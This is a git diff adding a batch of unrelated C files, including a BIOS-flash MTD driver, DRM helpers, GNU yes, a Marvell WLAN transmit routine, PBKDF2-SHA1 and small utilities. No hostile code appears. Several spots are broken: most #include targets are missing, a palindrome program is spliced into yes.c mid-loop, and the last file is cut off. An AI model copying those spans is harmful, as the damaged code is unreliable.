b/pool/shard011/C/0141711_gsl_sf_conicalP_0.c new file mode 100644 index 0000000000000000000000000000000000000000..6c9200b79212c9d8be1570a54527b6d9b80e755d --- /dev/null +++ b/pool/shard011/C/0141711_gsl_sf_conicalP_0.c @@ -0,0 +1,17 @@ +#include "stdlib.h" +#include "stdio.h" +#include "/home/lillian/work/install_fpdebug/valgrind-3.7.0/fpdebug/fpdebug.h" +#include +int main(int argc, const char * argv[]) { +unsigned long int hexdouble; +double a; +sscanf(argv[1], "%lX", &hexdouble); +a = *(double*)(&hexdouble); +double b; +sscanf(argv[2], "%lX", &hexdouble); +b = *(double*)(&hexdouble); +double result = gsl_sf_conicalP_0(a, b); +//printf("%.15f\n", result); +VALGRIND_PRINT_ERROR("result", &result); +return 0; +} \ No newline at end of file diff --git a/pool/shard011/C/0141712_l440gx.c b/pool/shard011/C/0141712_l440gx.c new file mode 100644 index 0000000000000000000000000000000000000000..9e054503c4cf2920e23c7fded7d2bd39741c4166 --- /dev/null +++ b/pool/shard011/C/0141712_l440gx.c @@ -0,0 +1,162 @@ +/* + * BIOS Flash chip on Intel 440GX board. + * + * Bugs this currently does not work under linuxBIOS. + */ + +#include +#include +#include +#include +#include +#include +#include + +#define PIIXE_IOBASE_RESOURCE 11 + +#define WINDOW_ADDR 0xfff00000 +#define WINDOW_SIZE 0x00100000 +#define BUSWIDTH 1 + +static u32 iobase; +#define IOBASE iobase +#define TRIBUF_PORT (IOBASE+0x37) +#define VPP_PORT (IOBASE+0x28) + +static struct mtd_info *mymtd; + + +/* Is this really the vpp port? */ +static void l440gx_set_vpp(struct map_info *map, int vpp) +{ + unsigned long l; + + l = inl(VPP_PORT); + if (vpp) { + l |= 1; + } else { + l &= ~1; + } + outl(l, VPP_PORT); +} + +static struct map_info l440gx_map = { + .name = "L440GX BIOS", + .size = WINDOW_SIZE, + .bankwidth = BUSWIDTH, + .phys = WINDOW_ADDR, +#if 0 + /* FIXME verify that this is the + * appripriate code for vpp enable/disable + */ + .set_vpp = l440gx_set_vpp +#endif +}; + +static int __init init_l440gx(void) +{ + struct pci_dev *dev, *pm_dev; + struct resource *pm_iobase; + __u16 word; + + dev = pci_get_device(PCI_VENDOR_ID_INTEL, + PCI_DEVICE_ID_INTEL_82371AB_0, NULL); + + pm_dev = pci_get_device(PCI_VENDOR_ID_INTEL, + PCI_DEVICE_ID_INTEL_82371AB_3, NULL); + + pci_dev_put(dev); + + if (!dev || !pm_dev) { + printk(KERN_NOTICE "L440GX flash mapping: failed to find PIIX4 ISA bridge, cannot continue\n"); + pci_dev_put(pm_dev); + return -ENODEV; + } + + l440gx_map.virt = ioremap_nocache(WINDOW_ADDR, WINDOW_SIZE); + + if (!l440gx_map.virt) { + printk(KERN_WARNING "Failed to ioremap L440GX flash region\n"); + pci_dev_put(pm_dev); + return -ENOMEM; + } + simple_map_init(&l440gx_map); + printk(KERN_NOTICE "window_addr = 0x%08lx\n", (unsigned long)l440gx_map.virt); + + /* Setup the pm iobase resource + * This code should move into some kind of generic bridge + * driver but for the moment I'm content with getting the + * allocation correct. + */ + pm_iobase = &pm_dev->resource[PIIXE_IOBASE_RESOURCE]; + if (!(pm_iobase->flags & IORESOURCE_IO)) { + pm_iobase->name = "pm iobase"; + pm_iobase->start = 0; + pm_iobase->end = 63; + pm_iobase->flags = IORESOURCE_IO; + + /* Put the current value in the resource */ + pci_read_config_dword(pm_dev, 0x40, &iobase); + iobase &= ~1; + pm_iobase->start += iobase & ~1; + pm_iobase->end += iobase & ~1; + + pci_dev_put(pm_dev); + + /* Allocate the resource region */ + if (pci_assign_resource(pm_dev, PIIXE_IOBASE_RESOURCE) != 0) { + pci_dev_put(dev); + pci_dev_put(pm_dev); + printk(KERN_WARNING "Could not allocate pm iobase resource\n"); + iounmap(l440gx_map.virt); + return -ENXIO; + } + } + /* Set the iobase */ + iobase = pm_iobase->start; + pci_write_config_dword(pm_dev, 0x40, iobase | 1); + + + /* Set XBCS# */ + pci_read_config_word(dev, 0x4e, &word); + word |= 0x4; + pci_write_config_word(dev, 0x4e, word); + + /* Supply write voltage to the chip */ + l440gx_set_vpp(&l440gx_map, 1); + + /* Enable the gate on the WE line */ + outb(inb(TRIBUF_PORT) & ~1, TRIBUF_PORT); + + printk(KERN_NOTICE "Enabled WE line to L440GX BIOS flash chip.\n"); + + mymtd = do_map_probe("jedec_probe", &l440gx_map); + if (!mymtd) { + printk(KERN_NOTICE "JEDEC probe on BIOS chip failed. Using ROM\n"); + mymtd = do_map_probe("map_rom", &l440gx_map); + } + if (mymtd) { + mymtd->owner = THIS_MODULE; + + add_mtd_device(mymtd); + return 0; + } + + iounmap(l440gx_map.virt); + return -ENXIO; +} + +static void __exit cleanup_l440gx(void) +{ + del_mtd_device(mymtd); + map_destroy(mymtd); + + iounmap(l440gx_map.virt); +} + +module_init(init_l440gx); +module_exit(cleanup_l440gx); + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("David Woodhouse "); +MODULE_DESCRIPTION("MTD map driver for BIOS chips on Intel L440GX motherboards"); diff --git a/pool/shard011/C/0141713_drm_modeset_helper.c b/pool/shard011/C/0141713_drm_modeset_helper.c new file mode 100644 index 0000000000000000000000000000000000000000..1d45738f8f980ba1767a5696a6ae8bf879ef0d09 --- /dev/null +++ b/pool/shard011/C/0141713_drm_modeset_helper.c @@ -0,0 +1,153 @@ +/* + * Copyright (c) 2016 Intel Corporation + * + * Permission to use, copy, modify, distribute, and sell this software and its + * documentation for any purpose is hereby granted without fee, provided that + * the above copyright notice appear in all copies and that both that copyright + * notice and this permission notice appear in supporting documentation, and + * that the name of the copyright holders not be used in advertising or + * publicity pertaining to distribution of the software without specific, + * written prior permission. The copyright holders make no representations + * about the suitability of this software for any purpose. It is provided "as + * is" without express or implied warranty. + * + * THE COPYRIGHT HOLDERS DISCLAIM ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, + * INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO + * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY SPECIAL, INDIRECT OR + * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, + * DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER + * TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE + * OF THIS SOFTWARE. + */ + +#include +#include + +/** + * DOC: aux kms helpers + * + * This helper library contains various one-off functions which don't really fit + * anywhere else in the DRM modeset helper library. + */ + +/** + * drm_helper_move_panel_connectors_to_head() - move panels to the front in the + * connector list + * @dev: drm device to operate on + * + * Some userspace presumes that the first connected connector is the main + * display, where it's supposed to display e.g. the login screen. For + * laptops, this should be the main panel. Use this function to sort all + * (eDP/LVDS) panels to the front of the connector list, instead of + * painstakingly trying to initialize them in the right order. + */ +void drm_helper_move_panel_connectors_to_head(struct drm_device *dev) +{ + struct drm_connector *connector, *tmp; + struct list_head panel_list; + + INIT_LIST_HEAD(&panel_list); + + list_for_each_entry_safe(connector, tmp, + &dev->mode_config.connector_list, head) { + if (connector->connector_type == DRM_MODE_CONNECTOR_LVDS || + connector->connector_type == DRM_MODE_CONNECTOR_eDP) + list_move_tail(&connector->head, &panel_list); + } + + list_splice(&panel_list, &dev->mode_config.connector_list); +} +EXPORT_SYMBOL(drm_helper_move_panel_connectors_to_head); + +/** + * drm_helper_mode_fill_fb_struct - fill out framebuffer metadata + * @fb: drm_framebuffer object to fill out + * @mode_cmd: metadata from the userspace fb creation request + * + * This helper can be used in a drivers fb_create callback to pre-fill the fb's + * metadata fields. + */ +void drm_helper_mode_fill_fb_struct(struct drm_framebuffer *fb, + const struct drm_mode_fb_cmd2 *mode_cmd) +{ + int i; + + fb->width = mode_cmd->width; + fb->height = mode_cmd->height; + for (i = 0; i < 4; i++) { + fb->pitches[i] = mode_cmd->pitches[i]; + fb->offsets[i] = mode_cmd->offsets[i]; + fb->modifier[i] = mode_cmd->modifier[i]; + } + drm_fb_get_bpp_depth(mode_cmd->pixel_format, &fb->depth, + &fb->bits_per_pixel); + fb->pixel_format = mode_cmd->pixel_format; + fb->flags = mode_cmd->flags; +} +EXPORT_SYMBOL(drm_helper_mode_fill_fb_struct); + +/* + * This is the minimal list of formats that seem to be safe for modeset use + * with all current DRM drivers. Most hardware can actually support more + * formats than this and drivers may specify a more accurate list when + * creating the primary plane. However drivers that still call + * drm_plane_init() will use this minimal format list as the default. + */ +static const uint32_t safe_modeset_formats[] = { + DRM_FORMAT_XRGB8888, + DRM_FORMAT_ARGB8888, +}; + +static struct drm_plane *create_primary_plane(struct drm_device *dev) +{ + struct drm_plane *primary; + int ret; + + primary = kzalloc(sizeof(*primary), GFP_KERNEL); + if (primary == NULL) { + DRM_DEBUG_KMS("Failed to allocate primary plane\n"); + return NULL; + } + + /* + * Remove the format_default field from drm_plane when dropping + * this helper. + */ + primary->format_default = true; + + /* possible_crtc's will be filled in later by crtc_init */ + ret = drm_universal_plane_init(dev, primary, 0, + &drm_primary_helper_funcs, + safe_modeset_formats, + ARRAY_SIZE(safe_modeset_formats), + DRM_PLANE_TYPE_PRIMARY, NULL); + if (ret) { + kfree(primary); + primary = NULL; + } + + return primary; +} + +/** + * drm_crtc_init - Legacy CRTC initialization function + * @dev: DRM device + * @crtc: CRTC object to init + * @funcs: callbacks for the new CRTC + * + * Initialize a CRTC object with a default helper-provided primary plane and no + * cursor plane. + * + * Returns: + * Zero on success, error code on failure. + */ +int drm_crtc_init(struct drm_device *dev, struct drm_crtc *crtc, + const struct drm_crtc_funcs *funcs) +{ + struct drm_plane *primary; + + primary = create_primary_plane(dev); + return drm_crtc_init_with_planes(dev, crtc, primary, NULL, funcs, + NULL); +} +EXPORT_SYMBOL(drm_crtc_init); diff --git a/pool/shard011/C/0141714_p4.c b/pool/shard011/C/0141714_p4.c new file mode 100644 index 0000000000000000000000000000000000000000..32dcf225b7c101cc8066699b8c7651fa694f628f --- /dev/null +++ b/pool/shard011/C/0141714_p4.c @@ -0,0 +1,27 @@ +#include + +#define MAX 998001 +#define MIN 900000 + +int isPalindrome(int a) +{ + int arr[100]; + while(a) + { + + } +} + +int main(int argc, char const *argv[]) +{ + int i,pal=0; + for(i=MIN;i. */ + +/* David MacKenzie */ + +#include +#include +#include +#include + +#include "system.h" + +#include "error.h" +#include "full-write.h" +#include "long-options.h" + +/* The official name of this program (e.g., no 'g' prefix). */ +#define PROGRAM_NAME "yes" + +#define AUTHORS proper_name ("David MacKenzie") + +void +usage (int status) +{ + if (status != EXIT_SUCCESS) + emit_try_help (); + else + { + printf (_("\ +Usage: %s [STRING]...\n\ + or: %s OPTION\n\ +"), + program_name, program_name); + + fputs (_("\ +Repeatedly output a line with all specified STRING(s), or 'y'.\n\ +\n\ +"), stdout); + fputs (HELP_OPTION_DESCRIPTION, stdout); + fputs (VERSION_OPTION_DESCRIPTION, stdout); + emit_ancillary_info (PROGRAM_NAME); + } + exit (status); +} + +int +main (int argc, char **argv) +{ + initialize_main (&argc, &argv); + set_program_name (argv[0]); + setlocale (LC_ALL, ""); + bindtextdomain (PACKAGE, LOCALEDIR); + textdomain (PACKAGE); + + atexit (close_stdout); + + parse_long_options (argc, argv, PROGRAM_NAME, PACKAGE_NAME, Version, + usage, AUTHORS, (char const *) NULL); + if (getopt_long (argc, argv, "+", NULL, NULL) != -1) + usage (EXIT_FAILURE); + + char **operands = argv + optind; + char **operand_lim = argv + argc; + if (optind == argc) + *operand_lim++ = bad_cast ("y"); + + /* Buffer data locally once, rather than having the + large overhead of stdio buffering each item. */ + size_t bufalloc = 0; + bool reuse_operand_strings = true; + for (char **operandp = operands; operandp < operand_lim; operandp++) + { + size_t operand_len = strlen (*operandp); + bufalloc += operand_len + 1; + if (operandp + 1 < operand_lim + && *operandp + operand_len + 1 != operandp[1]) + reuse_operand_strings = false; + } + + /* Improve performance by using a buffer size greater than BUFSIZ / 2. */ + if (bufalloc <= BUFSIZ / 2) + { + bufalloc = BUFSIZ; + reuse_operand_strings = false; + } + + /* Fill the buffer with one copy of the output. If possible, reuse + the operands strings; this wins when the buffer would be large. */ + char *buf = reuse_operand_strings ? *operands : xmalloc (bufalloc); + size_t bufused = 0; + for (char **operandp = operands; operandp < operand_lim; operandp++) + { + size_t operand_len = strlen (*operandp); + if (! reuse_operand_strings) + memcpy (buf + bufused, *operandp, operand_len); + bufused += operand_len; + buf[bufused++] = ' '; + } + buf[bufused - 1] = '\n'; + + /* If a larger buffer was allocated, fill it by repeating the buffer + contents. */ + size_t copysize = bufused; + for (size_t copies = bufalloc / copysize; --copies; ) + { + memcpy (buf + bufused, buf, copysize); + bufused += copysize; + } + + /* Repeatedly output the buffer until there is a write error; then fail. */ + while (full_write (STDOUT_FILENO, buf, bufused) == bufused) + continue; + error (0, errno, _("standard output")); + return EXIT_FAILURE; +} diff --git a/pool/shard011/C/0141716_mlan_sta_tx.c b/pool/shard011/C/0141716_mlan_sta_tx.c new file mode 100644 index 0000000000000000000000000000000000000000..8c1638709661f7a0abfa4f5396bae0a53f501ad9 --- /dev/null +++ b/pool/shard011/C/0141716_mlan_sta_tx.c @@ -0,0 +1,246 @@ +/** @file mlan_sta_tx.c + * + * @brief This file contains the handling of data packet + * transmission in MLAN module. + * + * Copyright (C) 2008-2010, Marvell International Ltd. + * All Rights Reserved + */ + +/******************************************************** +Change log: + 10/21/2008: initial version +********************************************************/ + +#include "mlan.h" +#include "mlan_join.h" +#include "mlan_util.h" +#include "mlan_fw.h" +#include "mlan_main.h" +#include "mlan_wmm.h" +#include "mlan_sdio.h" + +/******************************************************** + Local Variables +********************************************************/ + +/******************************************************** + Global Variables +********************************************************/ + +/******************************************************** + Local Functions +********************************************************/ + +/******************************************************** + Global functions +********************************************************/ +/** + * @brief This function fill the txpd for tx packet + * + * @param priv A pointer to mlan_private structure + * @param pmbuf A pointer to the mlan_buffer for process + * + * @return headptr or MNULL + */ +t_void * +mlan_process_sta_txpd(IN t_void * priv, IN pmlan_buffer pmbuf) +{ + mlan_private *pmpriv = (mlan_private *) priv; + pmlan_adapter pmadapter = pmpriv->adapter; + TxPD *plocal_tx_pd; + t_u8 *head_ptr = MNULL; + + if (!pmbuf->data_len) { + PRINTM(MERROR, "STA Tx Error: Invalid packet length: %d\n", + pmbuf->data_len); + pmbuf->status_code = MLAN_ERROR_PKT_SIZE_INVALID; + goto done; + } + + if (pmbuf->data_offset < (sizeof(TxPD) + INTF_HEADER_LEN + + HEADER_ALIGNMENT)) { + PRINTM(MERROR, "not enough space for TxPD: %d\n", pmbuf->data_len); + pmbuf->status_code = MLAN_ERROR_PKT_SIZE_INVALID; + goto done; + } + + /* head_ptr should be aligned */ + head_ptr = + pmbuf->pbuf + pmbuf->data_offset - sizeof(TxPD) - INTF_HEADER_LEN; + head_ptr = (t_u8 *) ((t_ptr) head_ptr & ~((t_ptr) (HEADER_ALIGNMENT - 1))); + + plocal_tx_pd = (TxPD *) (head_ptr + INTF_HEADER_LEN); + memset(pmadapter, plocal_tx_pd, 0, sizeof(TxPD)); + /* Set the BSS number to TxPD */ + plocal_tx_pd->bss_num = GET_BSS_NUM(pmpriv); + + plocal_tx_pd->tx_pkt_length = (t_u16) pmbuf->data_len; + + plocal_tx_pd->priority = (t_u8) pmbuf->priority; + plocal_tx_pd->pkt_delay_2ms = + wlan_wmm_compute_driver_packet_delay(pmpriv, pmbuf); + + if (plocal_tx_pd->priority < NELEMENTS(pmpriv->wmm.user_pri_pkt_tx_ctrl)) + /* + * Set the priority specific tx_control field, setting of 0 will + * cause the default value to be used later in this function + */ + plocal_tx_pd->tx_control + = pmpriv->wmm.user_pri_pkt_tx_ctrl[plocal_tx_pd->priority]; + if (pmadapter->pps_uapsd_mode) { + if (MTRUE == wlan_check_last_packet_indication(pmpriv)) { + pmadapter->tx_lock_flag = MTRUE; + plocal_tx_pd->flags = MRVDRV_TxPD_POWER_MGMT_LAST_PACKET; + } + } + + /* Offset of actual data */ + plocal_tx_pd->tx_pkt_offset = + (t_u16) ((t_ptr) pmbuf->pbuf + pmbuf->data_offset - + (t_ptr) plocal_tx_pd); + + if (!plocal_tx_pd->tx_control) { + /* TxCtrl set by user or default */ + plocal_tx_pd->tx_control = pmpriv->pkt_tx_ctrl; + } + + endian_convert_TxPD(plocal_tx_pd); + + /* Adjust the data offset and length to include TxPD in pmbuf */ + pmbuf->data_len += pmbuf->data_offset; + pmbuf->data_offset = (t_u32) (head_ptr - pmbuf->pbuf); + pmbuf->data_len -= pmbuf->data_offset; + + done: + return head_ptr; +} + +/** + * @brief This function tells firmware to send a NULL data packet. + * + * @param priv A pointer to mlan_private structure + * @param flags Transmit Pkt Flags + * + * @return N/A + */ +mlan_status +wlan_send_null_packet(pmlan_private priv, t_u8 flags) +{ + pmlan_adapter pmadapter = priv->adapter; + TxPD *ptx_pd; +/* sizeof(TxPD) + Interface specific header */ +#define NULL_PACKET_HDR 64 + t_u32 data_len = NULL_PACKET_HDR; + pmlan_buffer pmbuf = MNULL; + t_u8 *ptr; + mlan_status ret = MLAN_STATUS_SUCCESS; + t_u32 sec, usec; + + ENTER(); + + if (pmadapter->surprise_removed == MTRUE) { + ret = MLAN_STATUS_FAILURE; + goto done; + } + + if (priv->media_connected == MFALSE) { + ret = MLAN_STATUS_FAILURE; + goto done; + } + + if (pmadapter->data_sent == MTRUE) { + ret = MLAN_STATUS_FAILURE; + goto done; + } + + pmbuf = wlan_alloc_mlan_buffer(pmadapter, data_len, 0, MTRUE); + if (!pmbuf) { + ret = MLAN_STATUS_FAILURE; + goto done; + } + memset(pmadapter, pmbuf->pbuf, 0, data_len); + pmbuf->bss_num = priv->bss_index; + pmbuf->buf_type = MLAN_BUF_TYPE_DATA; + ptr = pmbuf->pbuf + pmbuf->data_offset; + pmbuf->data_len = sizeof(TxPD) + INTF_HEADER_LEN; + ptx_pd = (TxPD *) (ptr + INTF_HEADER_LEN); + ptx_pd->tx_control = priv->pkt_tx_ctrl; + ptx_pd->flags = flags; + ptx_pd->priority = WMM_HIGHEST_PRIORITY; + ptx_pd->tx_pkt_offset = sizeof(TxPD); + /* Set the BSS number to TxPD */ + ptx_pd->bss_num = GET_BSS_NUM(priv); + + endian_convert_TxPD(ptx_pd); + + ret = wlan_sdio_host_to_card(pmadapter, MLAN_TYPE_DATA, pmbuf, MNULL); + + switch (ret) { + case MLAN_STATUS_RESOURCE: + pmadapter->data_sent = MTRUE; + /* Fall through FAILURE handling */ + case MLAN_STATUS_FAILURE: + wlan_free_mlan_buffer(pmadapter, pmbuf); + PRINTM(MERROR, "STA Tx Error: Failed to send NULL packet!\n"); + pmadapter->dbg.num_tx_host_to_card_failure++; + goto done; + case MLAN_STATUS_SUCCESS: + wlan_free_mlan_buffer(pmadapter, pmbuf); + PRINTM(MDATA, "STA Tx: Successfully send the NULL packet\n"); + pmadapter->tx_lock_flag = MTRUE; + break; + case MLAN_STATUS_PENDING: + break; + default: + break; + } + + pmadapter->callbacks.moal_get_system_time(pmadapter->pmoal_handle, &sec, + &usec); + PRINTM(MDATA, "%lu.%lu : Null data => FW\n", sec, usec); + DBG_HEXDUMP(MDAT_D, "Null data", ptr, sizeof(TxPD) + INTF_HEADER_LEN); + done: + LEAVE(); + return ret; +} + +/** + * @brief This function checks if we need to send last packet indication. + * + * @param priv A pointer to mlan_private structure + * + * @return MTRUE or MFALSE + */ +t_u8 +wlan_check_last_packet_indication(pmlan_private priv) +{ + pmlan_adapter pmadapter = priv->adapter; + t_u8 ret = MFALSE; + t_u8 prop_ps = MTRUE; + + ENTER(); + + if (!pmadapter->sleep_period.period) { + LEAVE(); + return ret; + } + if (wlan_bypass_tx_list_empty(pmadapter) && wlan_wmm_lists_empty(pmadapter)) { + if (( + /* TODO */ + (priv->curr_bss_params.wmm_uapsd_enabled == MTRUE) && + priv->wmm_qosinfo) || prop_ps) + + ret = MTRUE; + } + if (ret && !pmadapter->cmd_sent && !pmadapter->curr_cmd + && !IS_COMMAND_PENDING(pmadapter)) { + pmadapter->delay_null_pkt = MFALSE; + ret = MTRUE; + } else { + ret = MFALSE; + pmadapter->delay_null_pkt = MTRUE; + } + LEAVE(); + return ret; +} diff --git a/pool/shard011/C/0141717_LinkedList.c b/pool/shard011/C/0141717_LinkedList.c new file mode 100644 index 0000000000000000000000000000000000000000..da6e38b63f1a8c269348d4a49a6498a8120bc3f7 --- /dev/null +++ b/pool/shard011/C/0141717_LinkedList.c @@ -0,0 +1,62 @@ +#ifndef LINKEDLIST_C +#define LINKEDLIST_C + +#include "LinkedList.h" +#include + +LinkedList* cons(void* data, LinkedList* tail) +{ + LinkedList* head; + + if( data == NULL ) return tail; + if( !( head = malloc( sizeof *head) ) ) + return NULL; + + head->llData = (void*)data; + head->llNext = tail; + return head; +} + +int lengthLL(struct LinkedList*ll) +{ + if ( ll != NULL ) return (1 + lengthLL(ll->llNext)); + else return 0; +} + +// Create a null-terminated array of pointers to data from the linked list +void** llToReversedArray(struct LinkedList* ll) +{ + int elems = lengthLL(ll)+1; + void** data = malloc( elems * sizeof *data ); + + if( data ) + { + struct LinkedList* this = ll; + + data[elems-1] = NULL; + + for(int i=elems-2; this != NULL; i--, this=this->llNext) + data[i] = (void*)this->llData; + + } + + return data; +} + +void free_ll(struct LinkedList* l) +{ + struct LinkedList* curr = l; + while( curr != NULL ){ + struct LinkedList* tmp = curr->llNext; + free(curr); + curr = tmp; + } +} + +void foreach(LinkedList* ll, void(*f)(void*)) +{ + for(LinkedList* curr = ll; curr; curr = curr->llNext) + f(curr->llData); +} + +#endif diff --git a/pool/shard011/C/0141718_sha1-pbkdf2.c b/pool/shard011/C/0141718_sha1-pbkdf2.c new file mode 100644 index 0000000000000000000000000000000000000000..84af8a127a8dda43024044442cdee20d1b46a714 --- /dev/null +++ b/pool/shard011/C/0141718_sha1-pbkdf2.c @@ -0,0 +1,101 @@ +/* + * SHA1-based key derivation function (PBKDF2) for IEEE 802.11i + * Copyright (c) 2003-2005, Jouni Malinen + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * Alternatively, this software may be distributed under the terms of BSD + * license. + * + * See README and COPYING for more details. + */ + +#include "crypto/includes.h" +#include "crypto/common.h" +#include "crypto/sha1.h" +#include "crypto/md5.h" +#include "crypto/crypto.h" + +static int +wpa_pbkdf2_sha1_f(const char *passphrase, const char *ssid, + size_t ssid_len, int iterations, unsigned int count, + u8 *digest) +{ + unsigned char tmp[SHA1_MAC_LEN], tmp2[SHA1_MAC_LEN]; + int i, j; + unsigned char count_buf[4]; + const u8 *addr[2]; + size_t len[2]; + size_t passphrase_len = os_strlen(passphrase); + + addr[0] = (u8 *) ssid; + len[0] = ssid_len; + addr[1] = count_buf; + len[1] = 4; + + /* F(P, S, c, i) = U1 xor U2 xor ... Uc + * U1 = PRF(P, S || i) + * U2 = PRF(P, U1) + * Uc = PRF(P, Uc-1) + */ + + count_buf[0] = (count >> 24) & 0xff; + count_buf[1] = (count >> 16) & 0xff; + count_buf[2] = (count >> 8) & 0xff; + count_buf[3] = count & 0xff; + if (wpa_hmac_sha1_vector((u8 *) passphrase, passphrase_len, 2, addr, len, + tmp)) + return -1; + os_memcpy(digest, tmp, SHA1_MAC_LEN); + + for (i = 1; i < iterations; i++) { + if (wpa_hmac_sha1((u8 *) passphrase, passphrase_len, tmp, + SHA1_MAC_LEN, tmp2)) + return -1; + os_memcpy(tmp, tmp2, SHA1_MAC_LEN); + for (j = 0; j < SHA1_MAC_LEN; j++) + digest[j] ^= tmp2[j]; + } + + return 0; +} + + +/** + * pbkdf2_sha1 - SHA1-based key derivation function (PBKDF2) for IEEE 802.11i + * @passphrase: ASCII passphrase + * @ssid: SSID + * @ssid_len: SSID length in bytes + * @iterations: Number of iterations to run + * @buf: Buffer for the generated key + * @buflen: Length of the buffer in bytes + * Returns: 0 on success, -1 of failure + * + * This function is used to derive PSK for WPA-PSK. For this protocol, + * iterations is set to 4096 and buflen to 32. This function is described in + * IEEE Std 802.11-2004, Clause H.4. The main construction is from PKCS#5 v2.0. + */ +int +wpa_pbkdf2_sha1(const char *passphrase, const char *ssid, size_t ssid_len, + int iterations, u8 *buf, size_t buflen) +{ + unsigned int count = 0; + unsigned char *pos = buf; + size_t left = buflen, plen; + unsigned char digest[SHA1_MAC_LEN]; + + while (left > 0) { + count++; + if (wpa_pbkdf2_sha1_f(passphrase, ssid, ssid_len, iterations, + count, digest)) + return -1; + plen = left > SHA1_MAC_LEN ? SHA1_MAC_LEN : left; + os_memcpy(pos, digest, plen); + pos += plen; + left -= plen; + } + + return 0; +} diff --git a/pool/shard011/C/0141719_main.c b/pool/shard011/C/0141719_main.c new file mode 100644 index 0000000000000000000000000000000000000000..438e4e75a2428edc66b5a8448e4edfa932aa192a --- /dev/null +++ b/pool/shard011/C/0141719_main.c @@ -0,0 +1,109 @@ +/* + * ===================================================================================== + * + * Filename: main.c + * + * Description: + * + * Version: 1.0 + * Created: 08/06/2014 04:31:43 PM + * Revision: none + * Compiler: gcc + * + * Author: Milannic (), milannic.cheng.liu@gmail.com + * Organization: + * + * ===================================================================================== + */ + +#include +#include +#include +#include "include/rsm-interface.h" +#include "include/replica-sys/replica.h" + + + +static void usage(){ + fprintf(stderr,"Usage : -n NODE_ID\n"); + fprintf(stderr," -m [sr] Start Mode seed|recovery\n"); + fprintf(stderr," -c path path to configuration file\n"); + fprintf(stderr," -l path dir to store the log file of the proxy\n"); + fprintf(stderr," -f let the proxy start in fake mode to do debug\n"); + fprintf(stderr," -d enable system internal debug msg.\n"); +} + +static int number = 1; + +static void pseudo_cb(int data_size,void* data){ + fprintf(stdout,"%d : %s\n",number,(char*)data); + number++; + fflush(stdout); + return; } + +int main(int argc,char** argv){ + char* start_mode= NULL; + char* config_path = NULL; + char* log_dir = NULL; + int node_id = -1; + int fake_mode = 1; + int c; + + while((c = getopt (argc,argv,"drl:c:n:m:")) != -1){ + switch(c){ + case 'n': + node_id = atoi(optarg); + break; + case 'c': + config_path = optarg; + break; + case 'l': + log_dir = optarg; + break; + case 'm': + start_mode= optarg; + if(*start_mode!='s' && *start_mode!='r'){ + fprintf(stderr,"Unknown Start Mode.\n"); + usage(); + exit(1); + } + break; + case 'r': + fprintf(stderr,"real mode is opened.\n"); + fake_mode = 0; + case '?': + if(optopt == 'n'){ + fprintf(stderr,"Option -n requires an argument.\n"); + usage(); + exit(1); + } + else if(optopt == 'm'){ + fprintf(stderr,"Option -m requires an argument.\n"); + usage(); + exit(1); + } + else if(optopt == 'c'){ + fprintf(stderr,"Option -c requires an argument.\n"); + usage(); + exit(1); + } + break; + default: + fprintf(stderr,"Unknown Option %d \n",c); + exit(1); + } + } + if(config_path==NULL||node_id==-1||start_mode==NULL){ + usage(); + exit(1); + } + + struct proxy_node_t* proxy = proxy_init(node_id,start_mode,config_path,log_dir,fake_mode); + if(NULL==proxy){ + return 1; + }else{ + proxy_run(proxy); + } + fprintf(stdout,"Program Finishes.\n"); + return 0; +} diff --git a/pool/shard011/C/0141720_receive_log.c b/pool/shard011/C/0141720_receive_log.c new file mode 100644 index 0000000000000000000000000000000000000000..cc2734faec281d50b7a4567a6a4a4ae4511e7b43 --- /dev/null +++ b/pool/shard011/C/0141720_receive_log.c @@ -0,0 +1,177 @@ +/* + * receive_log.c - Part of AFD, an automatic file distribution program. + * Copyright (c) 2000 - 2017 Holger Kiehl + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include "afddefs.h" + +DESCR__S_M3 +/* + ** NAME + ** receive_log - writes formated log output to receive log + ** + ** SYNOPSIS + ** void receive_log(char *sign, + ** char *file, + ** int line, + ** time_t current_time, + ** char *fmt, ...) + ** + ** DESCRIPTION + ** + ** RETURN VALUES + ** None. + ** + ** AUTHOR + ** H.Kiehl + ** + ** HISTORY + ** 29.08.2000 H.Kiehl Created + ** + */ +DESCR__E_M3 + +#include +#include /* memcpy() */ +#include /* va_start(), va_end() */ +#include /* time(), localtime() */ +#ifdef TM_IN_SYS_TIME +# include +#endif +#include +#include /* write() */ +#include +#include "amgdefs.h" + +extern int receive_log_fd; +extern struct fileretrieve_status *p_fra; + +#define DIR_ALIAS_OFFSET 16 + + +/*########################### receive_log() #############################*/ +void +receive_log(char *sign, + char *file, + int line, + time_t current_time, + char *fmt, ...) +{ + int tmp_errno = errno; + size_t length = DIR_ALIAS_OFFSET; + char buf[MAX_LINE_LENGTH + MAX_LINE_LENGTH + 1], + *ptr = p_fra->dir_alias; + va_list ap; + struct tm *p_ts; + + if (current_time == 0L) + { + current_time = time(NULL); + } + p_ts = localtime(¤t_time); + if (p_ts == NULL) + { + buf[0] = '?'; + buf[1] = '?'; + buf[3] = '?'; + buf[4] = '?'; + buf[6] = '?'; + buf[7] = '?'; + buf[9] = '?'; + buf[10] = '?'; + } + else + { + buf[0] = (p_ts->tm_mday / 10) + '0'; + buf[1] = (p_ts->tm_mday % 10) + '0'; + buf[3] = (p_ts->tm_hour / 10) + '0'; + buf[4] = (p_ts->tm_hour % 10) + '0'; + buf[6] = (p_ts->tm_min / 10) + '0'; + buf[7] = (p_ts->tm_min % 10) + '0'; + buf[9] = (p_ts->tm_sec / 10) + '0'; + buf[10] = 